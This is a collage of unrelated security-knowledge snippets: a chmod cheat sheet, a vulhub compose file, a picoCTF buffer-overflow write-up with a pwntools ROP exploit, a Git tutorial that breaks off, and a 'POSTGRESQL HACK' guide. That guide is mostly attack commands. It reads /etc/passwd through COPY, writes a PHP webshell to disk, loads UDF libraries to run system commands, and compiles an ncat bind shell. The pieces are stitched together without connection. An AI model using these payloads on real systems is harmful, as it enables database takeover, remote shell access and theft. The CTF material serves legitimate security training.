The flag was in the image: `MCL{Ar3_Y0U_Look1n9_FoR_M3?}`
sec-knowleage
version: '2' services: saltstack: image: vulhub/saltstack:2019.2.3 ports: - "8000:8000" - "4505:4505" - "4506:4506" - "2222:22"
sec-knowleage
# Mossad Challenge 2019 - אתגר המוסד 2019 Writeup for the 2019 Mossad challenge. Solved together with YaakovCohen88.
sec-knowleage
--- title: Chmod date: 2021-07-01 10:51:44 background: bg-emerald-600 tags: - permission categories: - Linux Command intro: | This quick reference cheat sheet provides a brief overview of file permissions, and the operation of the chmod command plugins: - copyCode --- Getting Started -------- ### Syntax ```shell script $ chmod [options] <permissions> <file> ``` #### Example ```shell $ chmod 755 foo.txt $ chmod +x quickref.py $ chmod u-x quickref.py $ chmod u=rwx,g=rx,o= quickref.sh ``` #### Change files and directories recursively ```shell $ chmod -R 755 my_directory ``` The `chmod` command stands for "change mode" ### Chmod Generator <widget name="chmod"/> Chmod Generator allows you to quickly and visually generate permissions in numerical and symbolic. ### Common Permissions | Command | s | Meaning | |---------|-----------|------------------------------| | `400` | r-------- | Readable by owner only | | `500` | r-x------ | Avoid Changing | | `600` | rw------- | Changeable by user | | `644` | rw-r--r-- | Read and change by user | | `660` | rw-rw---- | Changeable by user and group | | `700` | rwx------ | Only user has full access | | `755` | rwxr-xr-x | Only changeable by user | | `775` | rwxrwxr-x | Sharing mode for a group | | `777` | rwxrwxrwx | Everybody can do everything | ### Explains ```shell $ ls -l -rw-r--r-- 1 root root 3 Jun 29 15:35 a.log drwxr-xr-x 2 root root 2 Jun 30 18:06 dir ``` #### Permission analysis of "dir" ```text d rwx r-x r-x ┬ ─┬─ ─┬─ ─┬─ │ │ │ │ │ │ │ └─ 4. Other|5 (4+0+1) │ │ └────── 3. Group|5 (4+0+1) │ └─────────── 2. User |7 (4+2+1) └─────────────── 1. File Type | directory ``` ### Permission Modes {.col-span-2} | Permission | Description | Octal | Decimal | |------------|-------------------------|-------|-----------| | `---` | No Permission | 000 | 0 (0+0+0) | | `--x` | Execute | 001 | 1 (0+0+1) | | `-w-` | Write | 010 | 2 (0+2+0) | | `-wx` | Execute and Write | 011 | 3 (0+2+1) | | `r--` | Read | 100 | 4 (4+0+0) | | `r-x` | Read and Execute | 101 | 5 (4+0+1) | | `rw-` | Read and Write | 110 | 6 (4+2+0) | | `rwx` | Read, Write and Execute | 111 | 7 (4+2+1) | {.show-header} ### Objects | Who (abbr.) | Meaning | |-------------|--------------------| | `u` | `U`ser | | `g` | `G`roup | | `o` | `O`thers | | `a` | `A`ll, same as ugo | {.show-header} ### Permissions | Abbreviation | Permission | Value | |--------------|---------------|-------| | `r` | `R`ead | 4 | | `w` | `W`rite | 2 | | `x` | E`x`ecute | 1 | | `-` | No permission | 0 | {.show-header} ### File Types | Abbreviation | File Type | |--------------|-----------------| | `d` | `D`irectory | | `-` | Regular file | | `l` | Symbolic `L`ink | {.show-header} Chmod Examples -------- ### Operators | Symbol | Description | |--------|-------------| | `+` | Add | | `-` | Remove | | `=` | Set | ### chmod 600 ```shell $ chmod 600 example.txt $ chmod u=rw,g=,o= example.txt $ chmod a+rwx,u-x,g-rwx,o-rwx example.txt ``` ### chmod 664 ```shell $ chmod 664 example.txt $ chmod u=rw,g=rw,o=r example.txt $ chmod a+rwx,u-x,g-x,o-wx example.txt ``` ### chmod 777 ```shell $ chmod 777 example.txt $ chmod u=rwx,g=rwx,o=rwx example.txt $ chmod a=rwx example.txt ``` ### Symbolic mode {.row-span-3} Deny execute permission to everyone. ```shell $ chmod a-x chmodExampleFile.txt ``` Allow read permission to everyone. ```shell $ chmod a+r chmodExampleFile.txt ``` Make a file readable and writable by the group and others. ```shell $ chmod go+rw chmodExampleFile.txt ``` Make a shell script executable by the user/owner. ```shell $ chmod u+x chmodExampleScript.sh ``` Allow everyone to read, write, and execute the file and turn on the set group-ID. ```shell $ chmod =rwx,g+s chmodExampleScript.sh ``` ### Removing Permissions {.row-span-3} In order to remove read write permissions given to a file, use the following syntax: ```shell $ chmod o-rw example.txt ``` For our file example.txt, we can remove read write permissions using chmod for group by running the following command: ```shell $ chmod g-rx example.txt ``` To remove chmod read write permissions from the group while adding read write permission to public/others, we can use the following command: ```shell $ chmod g-rx, o+rx example.txt ``` But, if you wish to remove all permissions for group and others, you can do so using the go= instead: ```shell $ chmod go= example.txt ``` ### Executable ```shell $ chmod +x ~/example.py $ chmod u+x ~/example.py $ chmod a+x ~/example.py ``` ### chmod 754 ```shell $ chmod 754 foo.sh $ chmod u=rwx,g=rx,o=r foo.sh ``` Chmod Practices --------------- ### SSH Permissions ```shell script $ chmod 700 ~/.ssh $ chmod 600 ~/.ssh/authorized_keys $ chmod 600 ~/.ssh/id_rsa $ chmod 600 ~/.ssh/id_rsa.pub $ chmod 400 /path/to/access_key.pem ``` ### Web Permissions ```shell script $ chmod -R 644 /var/www/html/ $ chmod 644 .htaccess $ chmod 644 robots.txt $ chmod 755 /var/www/uploads/ $ find /var/www/html -type d -exec chmod 755 {} \; ``` ### Batch Change ```shell script $ chmod -R 644 /your_path $ find /path -type d -exec chmod 755 {} \; $ find /path -type f -exec chmod 644 {} \; ``` See: [Command Substitution](https://tldp.org/LDP/abs/html/commandsub.html) ## Also see * [Modify File Permissions with chmod](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- #POSTGRESQL HACK# ---- ##DATABASE CONNECTION## Please connect to **postgresql** database, ``` lab:~/ $ psql -h 127.0.0.1 -U postgres -W ``` ---- ##DATABASE COMMANDS## ``` postgres=# help You are using psql, the command-line interface to PostgreSQL. Type: \copyright for distribution terms \h for help with SQL commands \? for help with psql commands \g or terminate with semicolon to execute query \q to quit ``` ``` postgres=# \h Available help: ABORT CREATE FOREIGN DATA WRAPPER DROP SEQUENCE ALTER AGGREGATE CREATE FOREIGN TABLE DROP SERVER ALTER COLLATION CREATE FUNCTION DROP TABLE ALTER CONVERSION CREATE GROUP DROP TABLESPACE ALTER DATABASE CREATE INDEX DROP TEXT SEARCH CONFIGURATION ALTER DEFAULT PRIVILEGES CREATE LANGUAGE DROP TEXT SEARCH DICTIONARY ALTER DOMAIN CREATE MATERIALIZED VIEW DROP TEXT SEARCH PARSER ALTER EVENT TRIGGER CREATE OPERATOR DROP TEXT SEARCH TEMPLATE ALTER EXTENSION CREATE OPERATOR CLASS DROP TRIGGER ALTER FOREIGN DATA WRAPPER CREATE OPERATOR FAMILY DROP TYPE ALTER FOREIGN TABLE CREATE ROLE DROP USER ALTER FUNCTION CREATE RULE DROP USER MAPPING ALTER GROUP CREATE SCHEMA DROP VIEW ALTER INDEX CREATE SEQUENCE END ALTER LANGUAGE CREATE SERVER EXECUTE ALTER LARGE OBJECT CREATE TABLE EXPLAIN ALTER MATERIALIZED VIEW CREATE TABLE AS FETCH ALTER OPERATOR CREATE TABLESPACE GRANT ALTER OPERATOR CLASS CREATE TEXT SEARCH CONFIGURATION INSERT ALTER OPERATOR FAMILY CREATE TEXT SEARCH DICTIONARY LISTEN ALTER ROLE CREATE TEXT SEARCH PARSER LOAD ALTER RULE CREATE TEXT SEARCH TEMPLATE LOCK ALTER SCHEMA CREATE TRIGGER MOVE ALTER SEQUENCE CREATE TYPE NOTIFY ALTER SERVER CREATE USER PREPARE ALTER SYSTEM CREATE USER MAPPING PREPARE TRANSACTION ALTER TABLE CREATE VIEW REASSIGN OWNED ALTER TABLESPACE DEALLOCATE REFRESH MATERIALIZED VIEW ALTER TEXT SEARCH CONFIGURATION DECLARE REINDEX ALTER TEXT SEARCH DICTIONARY DELETE RELEASE SAVEPOINT ALTER TEXT SEARCH PARSER DISCARD RESET ALTER TEXT SEARCH TEMPLATE DO REVOKE ALTER TRIGGER DROP AGGREGATE ROLLBACK ALTER TYPE DROP CAST ROLLBACK PREPARED ALTER USER DROP COLLATION ROLLBACK TO SAVEPOINT ALTER USER MAPPING DROP CONVERSION SAVEPOINT ALTER VIEW DROP DATABASE SECURITY LABEL ANALYZE DROP DOMAIN SELECT BEGIN DROP EVENT TRIGGER SELECT INTO CHECKPOINT DROP EXTENSION SET CLOSE DROP FOREIGN DATA WRAPPER SET CONSTRAINTS CLUSTER DROP FOREIGN TABLE SET ROLE COMMENT DROP FUNCTION SET SESSION AUTHORIZATION COMMIT DROP GROUP SET TRANSACTION COMMIT PREPARED DROP INDEX SHOW COPY DROP LANGUAGE START TRANSACTION CREATE AGGREGATE DROP MATERIALIZED VIEW TABLE CREATE CAST DROP OPERATOR TRUNCATE CREATE COLLATION DROP OPERATOR CLASS UNLISTEN CREATE CONVERSION DROP OPERATOR FAMILY UPDATE CREATE DATABASE DROP OWNED VACUUM CREATE DOMAIN DROP ROLE VALUES CREATE EVENT TRIGGER DROP RULE WITH CREATE EXTENSION DROP SCHEMA ``` ``` postgres=# \? General \copyright show PostgreSQL usage and distribution terms \g [FILE] or ; execute query (and send results to file or |pipe) \gset [PREFIX] execute query and store results in psql variables \h [NAME] help on syntax of SQL commands, * for all commands \q quit psql \watch [SEC] execute query every SEC seconds Query Buffer \e [FILE] [LINE] edit the query buffer (or file) with external editor \ef [FUNCNAME [LINE]] edit function definition with external editor \p show the contents of the query buffer \r reset (clear) the query buffer \s [FILE] display history or save it to file \w FILE write query buffer to file Input/Output \copy ... perform SQL COPY with data stream to the client host \echo [STRING] write string to standard output \i FILE execute commands from file \ir FILE as \i, but relative to location of current script \o [FILE] send all query results to file or |pipe \qecho [STRING] write string to query output stream (see \o) Informational (options: S = show system objects, + = additional detail) \d[S+] list tables, views, and sequences \d[S+] NAME describe table, view, sequence, or index \da[S] [PATTERN] list aggregates \db[+] [PATTERN] list tablespaces \dc[S+] [PATTERN] list conversions \dC[+] [PATTERN] list casts \dd[S] [PATTERN] show object descriptions not displayed elsewhere \ddp [PATTERN] list default privileges \dD[S+] [PATTERN] list domains \det[+] [PATTERN] list foreign tables \des[+] [PATTERN] list foreign servers \deu[+] [PATTERN] list user mappings \dew[+] [PATTERN] list foreign-data wrappers \df[antw][S+] [PATRN] list [only agg/normal/trigger/window] functions \dF[+] [PATTERN] list text search configurations \dFd[+] [PATTERN] list text search dictionaries \dFp[+] [PATTERN] list text search parsers \dFt[+] [PATTERN] list text search templates \dg[+] [PATTERN] list roles \di[S+] [PATTERN] list indexes \dl list large objects, same as \lo_list \dL[S+] [PATTERN] list procedural languages \dm[S+] [PATTERN] list materialized views \dn[S+] [PATTERN] list schemas \do[S] [PATTERN] list operators \dO[S+] [PATTERN] list collations \dp [PATTERN] list table, view, and sequence access privileges \drds [PATRN1 [PATRN2]] list per-database role settings \ds[S+] [PATTERN] list sequences \dt[S+] [PATTERN] list tables \dT[S+] [PATTERN] list data types \du[+] [PATTERN] list roles \dv[S+] [PATTERN] list views \dE[S+] [PATTERN] list foreign tables \dx[+] [PATTERN] list extensions \dy [PATTERN] list event triggers \l[+] [PATTERN] list databases \sf[+] FUNCNAME show a function's definition \z [PATTERN] same as \dp Formatting \a toggle between unaligned and aligned output mode \C [STRING] set table title, or unset if none \f [STRING] show or set field separator for unaligned query output \H toggle HTML output mode (currently off) \pset [NAME [VALUE]] set table output option (NAME := {format|border|expanded|fieldsep|fieldsep_zero|footer|null| numericlocale|recordsep|recordsep_zero|tuples_only|title|tableattr|pager}) \t [on|off] show only rows (currently off) \T [STRING] set HTML <table> tag attributes, or unset if none \x [on|off|auto] toggle expanded output (currently off) Connection \c[onnect] {[DBNAME|- USER|- HOST|- PORT|-] | conninfo} connect to new database (currently "postgres") \encoding [ENCODING] show or set client encoding \password [USERNAME] securely change the password for a user \conninfo display information about current connection Operating System \cd [DIR] change the current working directory \setenv NAME [VALUE] set or unset environment variable \timing [on|off] toggle timing of commands (currently off) \! [COMMAND] execute command in shell or start interactive shell Variables \prompt [TEXT] NAME prompt user to set internal variable \set [NAME [VALUE]] set internal variable, or list all if no parameters \unset NAME unset (delete) internal variable Large Objects \lo_export LOBOID FILE \lo_import FILE [COMMENT] \lo_list \lo_unlink LOBOID large object operations ``` ---- ###LIST DATABASES### ``` postgres=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges -----------+----------+----------+-------------+-------------+----------------------- msfdb | msfuser | UTF8 | en_US.UTF-8 | en_US.UTF-8 | postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres (4 rows) ``` ---- ###LIST DATABASE USERS### ``` postgres=# \du List of roles Role name | Attributes | Member of -----------+------------------------------------------------+----------- msfuser | | {} postgres | Superuser, Create role, Create DB, Replication | {} ``` Please try more details about postgresql database. ---- ##LIST DIRECTORY## ``` postgres=# select pg_ls_dir('/etc'); ERROR: absolute path not allowed postgres=# select pg_ls_dir('./'); pg_ls_dir ---------------------- postmaster.opts postmaster.pid pg_logical pg_clog postgresql.auto.conf pg_hba.conf cmd.so pg_multixact postgresql.conf pg_ident.conf global pg_stat_tmp PG_VERSION pg_dynshmem pg_twophase pg_xlog pg_notify pg_snapshots pg_tblspc pg_serial pg_stat base pg_subtrans pg_replslot (24 rows) ``` ---- ##READ FILE## **method1** ``` postgres=# select pg_read_file('postgresql.conf', 0, 200); pg_read_file -------------------------------------------- # ----------------------------- + # PostgreSQL configuration file + # ----------------------------- + # + # This file consists of lines of the form:+ # + # name = value + # + # (The "=" is optional.) Whitespace m (1 row) ``` **method2** ``` postgres=# drop table pwn; ERROR: table "pwn" does not exist postgres=# CREATE TABLE pwn(t TEXT); CREATE TABLE postgres=# COPY pwn FROM '/etc/passwd'; COPY 27 postgres=# SELECT * FROM pwn limit 1 offset 0; t --------------------------------- root:x:0:0:root:/root:/bin/bash (1 row) postgres=# SELECT * FROM pwn; t ------------------------------------------------------------------------------ root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin uuidd:x:68:68:uuidd:/:/usr/bin/nologin dbus:x:81:81:dbus:/:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin systemd-journal-remote:x:999:999:systemd Journal Remote:/:/sbin/nologin systemd-journal-upload:x:998:998:systemd Journal Upload:/:/sbin/nologin avahi:x:84:84:avahi:/:/bin/false polkitd:x:102:102:Policy Kit Daemon:/:/bin/false git:x:997:997:git daemon user:/:/bin/bash colord:x:124:124::/var/lib/colord:/bin/false postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash lab:x:1000:1000::/home/notfound:/bin/bash stunnel:x:16:16::/var/run/stunnel:/bin/false dnsmasq:x:996:996:dnsmasq daemon:/:/usr/bin/nologin mongodb:x:995:2::/var/lib/mongodb:/bin/bash mysql:x:89:89::/var/lib/mysql:/bin/false sslh:x:994:994::/:/sbin/nologin (27 rows) postgres=# DROP table pwn; ``` ---- ##WRITE FILE## ``` postgres=# DROP TABLE pwn; DROP TABLE postgres=# CREATE TABLE pwn (t TEXT); CREATE TABLE postgres=# INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>'); INSERT 0 1 postgres=# SELECT * FROM pwn; t -------------------------------- <?php @system("$_GET[cmd]");?> (1 row) postgres=# COPY pwn(t) TO '/tmp/cmd.php'; COPY 1 postgres=# DROP TABLE pwn; DROP TABLE ``` ---- ##UDF HACK## ###COMPILE SOURCE### ``` lab: / $ git clone https://github.com/sqlmapproject/udfhack/ ``` ``` lab: / $ gcc lib_postgresqludf_sys.c -I`pg_config --includedir-server` -fPIC -shared -o udf64.so lab: / $ gcc -Wall -I/usr/include/postgresql/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so lab: / $ strip -sx lib_postgresqludf_sys.so ``` ###COMMAND EXECUTION### transfrom udf.so to hex strings. ``` lab:~/ $ cat udf.so | hex ``` upload udf.so with databse features. ``` postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('079c...', 'hex')); INSERT 0 1 postgres=# SELECT lo_export(19074, 'cmd.so'); ERROR: pg_largeobject entry for OID 19074, page 0 has invalid data field size 3213 postgres=# SELECT setting FROM pg_settings WHERE name='data_directory'; setting ------------------------ /var/lib/postgres/data (1 row) ``` Library is too large, and we need to split it to some pieces. Please read https://github.com/sqlmapproject/sqlmap/issues/1170. ``` postgres=# select * from pg_largeobject; loid | pageno | data ------+--------+------ (0 rows) postgres=# SELECT setting FROM pg_settings WHERE name='data_directory'; setting ------------------------ /var/lib/postgres/data (1 row) postgres=# SELECT lo_creat(-1); lo_creat ---------- 19075 (1 row) postgres=# SELECT lo_create(11122); lo_create ----------- 11122 (1 row) postgres=# select * from pg_largeobject; loid | pageno | data ------+--------+------ (0 rows) postgres=# INSERT INTO pg_largeobject VALUES (11122, 0, decode('079c...', 'hex')); INSERT 0 1 postgres=# INSERT INTO pg_largeobject VALUES (11122, 1, decode('a28e...', 'hex')); INSERT 0 1 postgres=# INSERT INTO pg_largeobject VALUES (11122, 2, decode('1265...', 'hex')); INSERT 0 1 postgres=# INSERT INTO pg_largeobject VALUES (11122, 3, decode('c62e...', 'hex')); INSERT 0 1 postgres=# SELECT lo_export(11122, '/tmp/cmd.so'); lo_export ----------- 1 (1 row) postgres=# SELECT lo_unlink(11122); lo_unlink ----------- 1 (1 row) ``` upload library successfully, and then create Postgresql FUNCTION. ``` postgres=# CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/udf64.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE FUNCTION postgres=# CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf64.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE FUNCTION ``` Execute commands with **sys\_exec**, and nothing returns. ``` postgres=# SELECT sys_exec('id'); sys_exec ---------- 0 (1 row) ``` Please clear functions after commands execution. ``` postgres=# DROP FUNCTION sys_exec(text); DROP FUNCTION postgres=# DROP FUNCTION sys_eval(text); DROP FUNCTION ``` ###BIND SHELL### ``` // bind shell on port 4444 #include "postgres.h" #include "fmgr.h" #include <stdlib.h> #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif text *exec() { system("ncat -e /bin/bash -l -p 4444"); } ``` compile source code, ``` lab:postgres_cmd/ $ vim nc.c lab:postgres_cmd/ $ gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so lab:postgres_cmd/ $ strip -sx nc.so ``` copy nc.so to postgresql tmp path, or you can upload so file with database features. ``` lab:postgres_cmd/ $ sudo cp nc.so /tmp/systemd-private-374c1bd49d5f425ca21cca8cc6d89de7-postgresql.service-SKrVjI/tmp/nc.so ``` create FUNCTION exec for bind shell. And client connects to target. ``` postgres=# CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/nc.so', 'exec' LANGUAGE C STRICT; CREATE FUNCTION postgres=# SELECT exec(); server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request. The connection to the server was lost. Attempting reset: Failed. ``` ---- ##METASPLOIT POSTGRESQL MODULES## ``` use auxiliary/admin/postgres/postgres_readfile use auxiliary/admin/postgres/postgres_sql use auxiliary/scanner/postgres/postgres_dbname_flag_injection use auxiliary/scanner/postgres/postgres_login use auxiliary/scanner/postgres/postgres_version use auxiliary/server/capture/postgresql use exploit/linux/postgres/postgres_payload use exploit/windows/postgres/postgres_payload ``` #REFERENCES# https://github.com/sqlmapproject/udfhack/ https://github.com/sqlmapproject/sqlmap/issues/1170 http://zone.wooyun.org/content/4971 http://drops.wooyun.org/tips/6449 http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html
sec-knowleage
# JS安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## JS 混淆 **在线工具** - [JavaScript Eval 在线加密/解密,在线编码/解码](https://wangye.org/tools/scripts/eval/) --- ## JavaScript Prototype 污染 **相关文章** - [深入理解 JavaScript Prototype 污染攻击](https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html) - [谭谈 Javascript 原型链与原型链污染](https://xz.aliyun.com/t/10032) **相关资源** - https://github.com/BlackFan/client-side-prototype-pollution --- ## Electron **调试工具** - [bytedance/debugtron](https://github.com/bytedance/debugtron) - Debug in-production Electron based app **相关文章** - [Electron 的一些调试技巧](https://mp.weixin.qq.com/s/XNcUXz640wKJq0pHIGshgQ)
sec-knowleage
# buffer overflow 2 Binary Exploitation, 250 points ## Description: > Alright, this time you'll need to control some arguments. Can you get the flag from this program? ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 100 #define FLAGSIZE 64 void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) return; if (arg2 != 0xDEADC0DE) return; printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; } ``` ## Solution: We need to overflow the local buffer in the `vuln()` function and build the stack so that we return to `win()` with the two arguments it's expecting. Here's how to do it manually ([this](https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf) is a great tutorial): ```console # cyclic 1000 | ./vuln Please enter your string: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj Segmentation fault # dmesg | grep vuln [30276.522768] vuln[3738]: segfault at 62616164 ip 0000000062616164 sp 00000000ffde7fe0 error 14 in libc-2.27.so[f7d1b000+19000] # cyclic -l 0x62616164 112 user@pico-2018-shell-3:/problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa$ python -c "from pwn import *; print 'A'*112+ p32(0x080485CB)+'BBBB'+p32(0xdeadbeef)+p32(0xdeadc0de)" | ./vuln Please enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˅BBBBᆳ����� picoCTF{addr3ss3s_ar3_3asy1b78b0d8}Segmentation fault (core dumped) ``` However, pwntools has a `ROP` class that does all the hard work: ```python from pwn import * import argparse import os EXECUTABLE = "vuln" LOCAL_PATH = "./" REMOTE_PATH = "/problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa/" SSH_SERVER = "2018shell3.picoctf.com" def get_process_path(is_ssh = False): if is_ssh or os.path.exists(REMOTE_PATH): return REMOTE_PATH + EXECUTABLE else: return LOCAL_PATH + EXECUTABLE def get_process(ssh_user = None): is_ssh = ssh_user is not None path = get_process_path(is_ssh) params = {"argv": path, "cwd": os.path.dirname(path)} if is_ssh: s = ssh(host=SSH_SERVER, user=ssh_user) p = s.process(**params) else: p = process(**params) return p def send_payload(proc, payload): proc.sendlineafter("Please enter your string:", payload) def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") proc = process(get_process_path()) payload = cyclic(150) send_payload(proc, payload) proc.wait() offset = cyclic_find(proc.corefile.eip) log.info("Overflow offset: {}".format(offset)) return offset parser = argparse.ArgumentParser() parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username") args = parser.parse_args() e = ELF(get_process_path()) context.binary = e.path offset = get_overflow_offset() r = ROP(e) r.win(0xDEADBEEF, 0xDEADC0DE) print r.dump() payload = fit({offset: str(r)}) p = get_process(args.ssh_user) send_payload(p, payload) print p.recvall() ``` Output: ```console root@kali:/media/sf_CTFs/pico/buffer_overflow_2# python exploit.py --ssh_user=$pico_ssh_user [*] '/media/sf_CTFs/pico/buffer_overflow_2/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Starting local process './vuln': pid 4003 [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 4003) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/buffer_overflow_2/core.4003' Arch: i386-32-little EIP: 0x62616164 ESP: 0xffd93700 Exe: '/media/sf_CTFs/pico/buffer_overflow_2/vuln' (0x8048000) Fault: 0x62616164 [*] Overflow offset: 112 [*] Loaded cached gadgets for './vuln' 0x0000: 0x80485cb win(0xdeadbeef, 0xdeadc0de) 0x0004: 'baaa' <return address> 0x0008: 0xdeadbeef arg0 0x000c: 0xdeadc0de arg1 [+] Connecting to 2018shell3.picoctf.com on port 22: Done [*] user@2018shell3.picoctf.com: Distro Ubuntu 16.04 OS: linux Arch: amd64 Version: 4.4.0 ASLR: Enabled [+] Starting remote process '/problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa/vuln' on 2018shell3.picoctf.com: pid 400221 [+] Receiving all data: Done (166B) [*] Stopped remote process 'vuln' on 2018shell3.picoctf.com (pid 400221) aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaab˅\x0baaaᆳ����� picoCTF{addr3ss3s_ar3_3asy1b78b0d8} ``` The flag: picoCTF{addr3ss3s_ar3_3asy1b78b0d8}
sec-knowleage
--- title: 上传代码到 Github.com --- 前面学会了如何在本地用 git 创建项目版本,本节咱们看看咋把新版本上传到 github.com 之上。 ### 准备工作:删除第一天创建的项目 如何删除一个 github.com 的仓库呢? 首先到仓库页面:https://github.com/l552177239/l552177239.github.io 点 Settings(设置)这一个标签。打开的页面底部有一个 “Delete this repository” 按钮,意思是”删除这个仓库“,点击按钮。打开的界面中,输入一下这个仓库的名字 l552177239.github.io 就可以把这个仓库删除了。 删除仓库之后,我们要做的事情是: >如何把本地的已有仓库,上传到 github.com ### 第一步:创建本地项目 项目名称是任意的,但是我们这里想做的事情是上传比较,所以,本地这个仓库名,也必须是: ``` mkdir l552177239.github.io ``` 本地项目名要和 github.com 我们一会儿要创建的仓库名保持一致。 然后,我们就可以把我们想要上传的内容拷贝到这个文件夹内,并制作本地版本。 拷贝进来的内容,要符合第一天我们介绍的 github pages 的格式规范(其实最重要的一点就是每个 .md 文件中都要有头部,参考第一天我们的文档中的介绍)。 ### 第二步:创建 github.com 上的同名仓库 到 github.com 上点 `New repository` 按钮,新建一个项目, 项目名叫做 `l552177239.github.io` 。 > 注意,不要勾选任何选项,尤其是不能默认创建 README.md 文件。 创建完成之后,页面上有两个选择,其中第二个是 ``` or push an existing repository from the command line ``` 翻译:或者把一个已经存在的仓库从命令行推送上来 我们当前就属于这个情况。上传方式有两种 HTTPS 和 SSH ,我们推荐的方式是 SSH,点一下页面上 SSH 字样的按钮。 接下来就按照页面上显示的两步来走。 ### 尝试推送 push 到本地命令行,进入我们的本地项目文件夹 ``` cd l552177239.github.io ``` 然后执行下面两步: ``` git remote add origin git@github.com:funnydeer/funnydeer.github.io.git git push -u origin master ``` 如上所示: ``` git@github.com:funnydeer/funnydeer.github.io.git ``` 这个是远端仓库地址。第一个命令本身的意思是把远端仓库地址记录到本地仓库中。 下一步 `git push -u origin master` 就是真正进行上传代码的工作了。 但是执行结果是: ``` Please make sure you have the correct access rights ``` 执行失败,解决方法就是添加 ssh 公钥到 github.com 。 ### 第三步:添加 ssh key 